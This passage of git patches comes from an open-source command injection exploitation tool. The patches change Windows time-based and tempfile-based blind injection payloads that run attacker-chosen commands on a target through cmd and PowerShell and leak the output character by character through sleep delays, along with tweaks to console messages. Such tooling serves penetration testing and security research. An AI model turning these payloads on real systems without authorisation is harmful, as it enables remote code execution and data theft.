"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
@@ -252,8 +255,9 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"""
def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "|" :
- payload = (separator + settings.SINGLE_WHITESPACE +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
@@ -330,8 +334,9 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
"""
def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "|" :
- payload = (separator + settings.SINGLE_WHITESPACE +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
cmd + ")).trim()).substring(" + str(num_of_chars-1) + ",1))\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
"cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec + 1) + "\""
@@ -415,8 +420,9 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\""
- if separator == "|" :
- payload = (separator + settings.SINGLE_WHITESPACE +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
python_payload +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
@@ -492,8 +498,9 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
"""
def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "|" :
- payload = (separator + settings.SINGLE_WHITESPACE +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
@@ -559,8 +566,9 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
"""
def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "|" :
- payload = (separator + settings.SINGLE_WHITESPACE +
+ if separator == "||" or separator == "|" :
+ pipe = "|"
+ payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
cmd +
"') do if %i==" + str(ascii_char) + settings.SINGLE_WHITESPACE +
diff --git a/src/core/injections/results_based/techniques/classic/cb_payloads.py b/src/core/injections/results_based/techniques/classic/cb_payloads.py
index 038538e68b..fa7e60c0c9 100755
--- a/src/core/injections/results_based/techniques/classic/cb_payloads.py
+++ b/src/core/injections/results_based/techniques/classic/cb_payloads.py
@@ -27,13 +27,13 @@ def decision(separator, TAG, randv1, randv2):
if settings.TARGET_OS == "win":
if settings.SKIP_CALC:
payload = (separator +
- "echo " + TAG + TAG + TAG + "
Date: Sat, 25 Jun 2022 12:13:19 +0300
Subject: [PATCH 170/560] Minor fixes / updates
---
.../blind/techniques/time_based/tb_handler.py | 16 ++++++------
.../techniques/time_based/tb_injector.py | 15 +++++++----
.../techniques/time_based/tb_payloads.py | 24 ++++++++---------
src/core/injections/controller/checks.py | 26 +++++++++++++------
.../techniques/file_based/fb_handler.py | 12 +++------
.../techniques/tempfile_based/tfb_handler.py | 16 ++++++------
.../techniques/tempfile_based/tfb_injector.py | 16 +++++++-----
.../techniques/tempfile_based/tfb_payloads.py | 24 ++++++++---------
src/core/requests/requests.py | 2 +-
src/utils/settings.py | 2 +-
10 files changed, 84 insertions(+), 69 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index d7c23e6ad6..b363373d80 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -208,11 +208,11 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Identified false positive warning message.
if false_positive_warning:
- warn_msg = "Unexpected time delays have been identified due to unstable "
- warn_msg += "requests. This behavior may lead to false-positive results.\n"
- sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg))
+ message = "Unexpected time delays have been identified due to unstable "
+ message += "requests. This behavior may lead to false-positive results. "
+ sys.stdout.write("\r")
while True:
- message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
+ message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
@@ -288,10 +288,10 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
- if settings.VERBOSITY_LEVEL == 0:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ # if settings.VERBOSITY_LEVEL == 0:
+ # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ # sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ # sys.stdout.flush()
except (KeyboardInterrupt, SystemExit):
print(settings.SINGLE_WHITESPACE)
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index bfcf1dbdfb..2a6b4056ed 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -368,7 +368,11 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
timesec = timesec + random.randint(1, 5)
# Checking the output length of the used payload.
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(".")
for output_length in range(1, 3):
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(".")
# Execute shell commands on vulnerable host.
if alter_shell:
payload = tb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method)
@@ -432,7 +436,8 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 20):
-
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(".")
if alter_shell:
# Get the execution output, of shell execution.
payload = tb_payloads.fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method)
@@ -491,12 +496,12 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(" (done)")
return how_long, output
+
else:
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "False positive or unexploitable injection point detected."
- print(settings.print_warning_msg(warn_msg))
+ checks.unexploitable_point()
"""
diff --git a/src/core/injections/blind/techniques/time_based/tb_payloads.py b/src/core/injections/blind/techniques/time_based/tb_payloads.py
index fe5ab555d6..fd7a9446cb 100755
--- a/src/core/injections/blind/techniques/time_based/tb_payloads.py
+++ b/src/core/injections/blind/techniques/time_based/tb_payloads.py
@@ -26,12 +26,12 @@
"""
def decision(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
elif separator == "&&" :
@@ -40,7 +40,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
payload = (ampersand +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write '" + TAG + "'.length\"') "
"do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
else:
@@ -97,7 +97,7 @@ def decision(separator, TAG, output_length, timesec, http_request_method):
def decision_alter_shell(separator, TAG, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"print(len(\'" + TAG + "\'))\""
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -179,13 +179,13 @@ def decision_alter_shell(separator, TAG, output_length, timesec, http_request_me
"""
def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
elif separator == "&&" :
@@ -195,7 +195,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"for /f \"tokens=*\" %i in ('cmd /c \"" +
cmd +
"\"') do if %i==" + str(output_length) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
)
else:
@@ -255,7 +255,7 @@ def cmd_execution(separator, cmd, output_length, timesec, http_request_method):
"""
def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -334,7 +334,7 @@ def cmd_execution_alter_shell(separator, cmd, output_length, timesec, http_reque
"""
def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none write ([int][char](([string](cmd /c " +
@@ -420,7 +420,7 @@ def get_char(separator, cmd, num_of_chars, ascii_char, timesec, http_request_met
def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"import os; print(ord(os.popen('" + cmd + "').read().strip()[" + str(num_of_chars-1) + ":" + str(num_of_chars) + "]))\""
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -498,7 +498,7 @@ def get_char_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http
"""
def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
@@ -566,7 +566,7 @@ def fp_result(separator, cmd, num_of_chars, ascii_char, timesec, http_request_me
"""
def fp_result_alter_shell(separator, cmd, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe + settings.SINGLE_WHITESPACE +
"for /f \"tokens=*\" %i in ('cmd /c " +
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index cbae53b3ce..6fe99e1673 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -387,14 +387,24 @@ def captcha_check(page):
Checking the reliability of the used payload message.
"""
def check_for_false_positive_result():
- debug_msg = "A potential injection point has been detected. "
- debug_msg += "Checking the reliability of the used payload "
- debug_msg += "in case of a false positive result. "
- # Check if defined "--verbose" option.
- if settings.VERBOSITY_LEVEL != 0:
- sys.stdout.write(settings.print_bold_debug_msg(debug_msg))
- print(settings.SINGLE_WHITESPACE)
-
+ info_msg = "A potential injection point has been detected. "
+ info_msg += "Checking the reliability of the used payload "
+ info_msg += "in case of a false positive result"
+ if settings.VERBOSITY_LEVEL != 0:
+ info_msg = info_msg + ".\n"
+ else:
+ info_msg = info_msg +", please wait..."
+ sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+
+"""
+False positive or unexploitable injection point detected.
+"""
+def unexploitable_point():
+ if settings.VERBOSITY_LEVEL == 0:
+ print(settings.SINGLE_WHITESPACE)
+ warn_msg = "False positive or unexploitable injection point has been detected."
+ print(settings.print_bold_warning_msg(warn_msg))
+
"""
Counting the total of HTTP(S) requests for the identified injection point(s), during the detection phase.
"""
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 0f7fe627f6..50db678240 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -349,22 +349,18 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
# Show an error message, after N failed tries.
# Use the "/tmp/" directory for tempfile-based technique.
-
elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total):
-
if i == total:
if finalize(exit_loops, no_result, float_percent, injection_type, technique):
continue
else:
raise
-
tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response)
- warn_msg = "It seems that you don't have permissions to "
- warn_msg += "read and/or write files in '" + settings.WEB_ROOT + "'."
- sys.stdout.write("\r" + settings.print_warning_msg(warn_msg))
- print(settings.SINGLE_WHITESPACE)
+ sys.stdout.write("\r")
+ message = "It seems that you don't have permissions to "
+ message += "read and/or write files in '" + settings.WEB_ROOT + "'. "
while True:
- message = "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > "
+ message = message + "Do you want to use the temporary directory (" + tmp_path + ")? [Y/n] > "
tmp_upload = common.read_input(message, default="Y", check_batch=True)
if tmp_upload in settings.CHOICE_YES:
exit_loops = True
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
index d04f346735..94ea471073 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_handler.py
@@ -229,11 +229,11 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
# Identified false positive warning message.
if false_positive_warning:
- warn_msg = "Unexpected time delays have been identified due to unstable "
- warn_msg += "requests. This behavior may lead to false-positive results.\n"
- sys.stdout.write("\r" + settings.print_bold_warning_msg(warn_msg))
+ message = "Unexpected time delays have been identified due to unstable "
+ message += "requests. This behavior may lead to false-positive results. "
+ sys.stdout.write("\r")
while True:
- message = "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
+ message = message + "How do you want to proceed? [(C)ontinue/(s)kip/(q)uit] > "
proceed_option = common.read_input(message, default="C", check_batch=True)
if proceed_option.lower() in settings.CHOICE_PROCEED :
if proceed_option.lower() == "s":
@@ -310,10 +310,10 @@ def tfb_injection_handler(url, timesec, filename, tmp_path, http_request_method,
sys.stdout.write("\r" + settings.print_info_msg(info_msg))
sys.stdout.flush()
continue
- if settings.VERBOSITY_LEVEL == 0:
- info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
- sys.stdout.write("\r" + settings.print_info_msg(info_msg))
- sys.stdout.flush()
+ # if settings.VERBOSITY_LEVEL == 0:
+ # info_msg = "Testing the " + "(" + injection_type.split(" ")[0] + ") " + technique + "." + "" + percent + ""
+ # sys.stdout.write("\r" + settings.print_info_msg(info_msg))
+ # sys.stdout.flush()
except (KeyboardInterrupt, SystemExit):
if 'cmd' in locals():
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
index 9d73e3c6f3..6f91ee3932 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_injector.py
@@ -367,12 +367,16 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
found_chars = False
checks.check_for_false_positive_result()
-
+
# Varying the sleep time.
timesec = timesec + random.randint(1, 5)
# Checking the output length of the used payload.
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(timesec * ".")
for output_length in range(1, 3):
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(timesec * ".")
# Execute shell commands on vulnerable host.
if alter_shell :
payload = tfb_payloads.cmd_execution_alter_shell(separator, cmd, output_length, OUTPUT_TEXTFILE, timesec, http_request_method)
@@ -436,7 +440,8 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
is_valid = False
for num_of_chars in range(1, int(num_of_chars)):
for ascii_char in range(1, 9):
-
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(timesec * ".")
# Get the execution ouput, of shell execution.
if alter_shell:
payload = tfb_payloads.fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method)
@@ -494,12 +499,11 @@ def false_positive_check(separator, TAG, cmd, prefix, suffix, whitespace, timese
output = "".join(str(p) for p in output)
if str(output) == str(randvcalc):
+ if settings.VERBOSITY_LEVEL == 0:
+ sys.stdout.write(" (done)")
return how_long, output
else:
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
- warn_msg = "False positive or unexploitable injection point detected."
- print(settings.print_warning_msg(warn_msg))
+ checks.unexploitable_point()
"""
Export the injection results
diff --git a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
index 7d3d540646..3801c9bbed 100755
--- a/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
+++ b/src/core/injections/semiblind/techniques/tempfile_based/tfb_payloads.py
@@ -27,7 +27,7 @@
"""
def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
@@ -111,7 +111,7 @@ def decision(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
settings.WIN_FILE_WRITE_OPERATOR + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + "'" + TAG + "'" + pipe +
@@ -195,7 +195,7 @@ def decision_alter_shell(separator, j, TAG, OUTPUT_TEXTFILE, timesec, http_reque
"""
def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"" +
@@ -306,7 +306,7 @@ def cmd_execution(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_meth
def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(len(file.read().strip()))\""
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -393,7 +393,7 @@ def cmd_execution_alter_shell(separator, cmd, j, OUTPUT_TEXTFILE, timesec, http_
"""
def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
@@ -469,7 +469,7 @@ def get_char(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http
def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(ord(file.read().strip()[" + str(num_of_chars - 1) + "][0])); exit(0)\""
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
@@ -542,13 +542,13 @@ def get_char_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, t
"""
def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
- "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
elif separator == "&&" :
@@ -557,8 +557,8 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
payload = (ampersand +
"for /f \"tokens=*\" %i in (' cmd /c \"powershell.exe -InputFormat none "
"(Get-Content " + OUTPUT_TEXTFILE + ")\"') "
- "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
- "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(2 * timesec) + "\""
+ "do if %i==" + str(ord(str(ascii_char))) + settings.SINGLE_WHITESPACE +
+ "cmd /c \"powershell.exe -InputFormat none Start-Sleep -s " + str(timesec) + "\""
)
else:
@@ -611,7 +611,7 @@ def fp_result(separator, OUTPUT_TEXTFILE, ascii_char, timesec, http_request_meth
def fp_result_alter_shell(separator, OUTPUT_TEXTFILE, num_of_chars, ascii_char, timesec, http_request_method):
if settings.TARGET_OS == "win":
python_payload = settings.WIN_PYTHON_INTERPRETER + " -c \"with open(r'" + OUTPUT_TEXTFILE + "') as file: print(file.readlines()[0][" + str(num_of_chars - 1) + "]); exit(0)\""
- if separator == "||" or separator == "|" :
+ if separator == "|" or separator == "||" :
pipe = "|"
payload = (pipe +
"for /f \"tokens=*\" %i in ('cmd /c " +
diff --git a/src/core/requests/requests.py b/src/core/requests/requests.py
index f72cebc574..85cf8f3008 100755
--- a/src/core/requests/requests.py
+++ b/src/core/requests/requests.py
@@ -210,7 +210,7 @@ def estimate_response_time(url, timesec):
if settings.TARGET_OS == "win":
warn_msg = "Due to the relatively slow response of 'cmd.exe' in target "
warn_msg += "host, there might be delays during the data extraction procedure."
- print(settings.print_bold_warning_msg(warn_msg))
+ print(settings.print_warning_msg(warn_msg))
else:
if settings.VERBOSITY_LEVEL != 0:
print(settings.SINGLE_WHITESPACE)
diff --git a/src/utils/settings.py b/src/utils/settings.py
index c3b3f6a02b..4464e9c856 100755
--- a/src/utils/settings.py
+++ b/src/utils/settings.py
@@ -241,7 +241,7 @@ def sys_argv_errors():
DESCRIPTION = "The command injection exploiter"
AUTHOR = "Anastasios Stasinopoulos"
VERSION_NUM = "3.5"
-REVISION = "92"
+REVISION = "93"
STABLE_RELEASE = False
if STABLE_RELEASE:
VERSION = "v" + VERSION_NUM + "-stable"
From fa1c2a2c5785499668438f125901ad7ab2c42bfe Mon Sep 17 00:00:00 2001
From: stasinopoulos
Date: Sun, 26 Jun 2022 10:43:57 +0300
Subject: [PATCH 171/560] Minor updates
---
.../blind/techniques/time_based/tb_handler.py | 2 --
.../blind/techniques/time_based/tb_injector.py | 8 ++------
src/core/injections/controller/checks.py | 2 +-
.../semiblind/techniques/file_based/fb_handler.py | 3 +--
.../techniques/tempfile_based/tfb_handler.py | 12 +++---------
.../techniques/tempfile_based/tfb_injector.py | 10 ++++------
.../techniques/tempfile_based/tfb_payloads.py | 8 ++++----
src/utils/settings.py | 2 +-
8 files changed, 16 insertions(+), 31 deletions(-)
diff --git a/src/core/injections/blind/techniques/time_based/tb_handler.py b/src/core/injections/blind/techniques/time_based/tb_handler.py
index b363373d80..ae48ada154 100755
--- a/src/core/injections/blind/techniques/time_based/tb_handler.py
+++ b/src/core/injections/blind/techniques/time_based/tb_handler.py
@@ -498,9 +498,7 @@ def tb_injection_handler(url, timesec, filename, http_request_method, url_time_r
session_handler.store_cmd(url, cmd, output, vuln_parameter)
else:
output = session_handler.export_stored_cmd(url, cmd, vuln_parameter)
- print(settings.SINGLE_WHITESPACE)
print(settings.print_output(output))
- print(settings.SINGLE_WHITESPACE)
# Update logs with executed cmds and execution results.
logs.executed_command(filename, cmd, output)
elif gotshell in settings.CHOICE_NO:
diff --git a/src/core/injections/blind/techniques/time_based/tb_injector.py b/src/core/injections/blind/techniques/time_based/tb_injector.py
index 2a6b4056ed..31d2dc95da 100755
--- a/src/core/injections/blind/techniques/time_based/tb_injector.py
+++ b/src/core/injections/blind/techniques/time_based/tb_injector.py
@@ -510,11 +510,9 @@ def false_positive_check(separator, TAG, cmd, whitespace, prefix, suffix, timese
def export_injection_results(cmd, separator, output, check_how_long):
if output != "" and check_how_long != 0 :
print(settings.SINGLE_WHITESPACE)
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
print(settings.print_output(output))
info_msg = "Finished in " + time.strftime('%H:%M:%S', time.gmtime(check_how_long)) + "."
- sys.stdout.write("\n" + settings.print_info_msg(info_msg) + "\n")
+ print(settings.print_info_msg(info_msg))
else:
# Check if exists pipe filtration.
if output != False :
@@ -526,8 +524,6 @@ def export_injection_results(cmd, separator, output, check_how_long):
raise SystemExit()
# Check for fault command.
else:
- if settings.VERBOSITY_LEVEL == 0:
- print(settings.SINGLE_WHITESPACE)
err_msg = common.invalid_cmd_output(cmd)
- sys.stdout.write("\r" + settings.print_error_msg(err_msg))
+ print(settings.print_error_msg(err_msg))
# eof
\ No newline at end of file
diff --git a/src/core/injections/controller/checks.py b/src/core/injections/controller/checks.py
index 6fe99e1673..42707ba15e 100755
--- a/src/core/injections/controller/checks.py
+++ b/src/core/injections/controller/checks.py
@@ -387,7 +387,7 @@ def captcha_check(page):
Checking the reliability of the used payload message.
"""
def check_for_false_positive_result():
- info_msg = "A potential injection point has been detected. "
+ info_msg = "Potential injection point has been detected. "
info_msg += "Checking the reliability of the used payload "
info_msg += "in case of a false positive result"
if settings.VERBOSITY_LEVEL != 0:
diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
index 50db678240..d576f54c7a 100755
--- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py
+++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py
@@ -402,7 +402,7 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
except (KeyboardInterrupt, SystemExit):
# Delete previous shell (text) files (output)
if 'vuln_parameter' in locals():
- print(settings.SINGLE_WHITESPACE)
+ # print(settings.SINGLE_WHITESPACE)
delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename)
raise
@@ -626,7 +626,6 @@ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_r
except KeyboardInterrupt:
# Delete previous shell (text) files (output)
- print(settings.SINGLE_WHITESPACE)
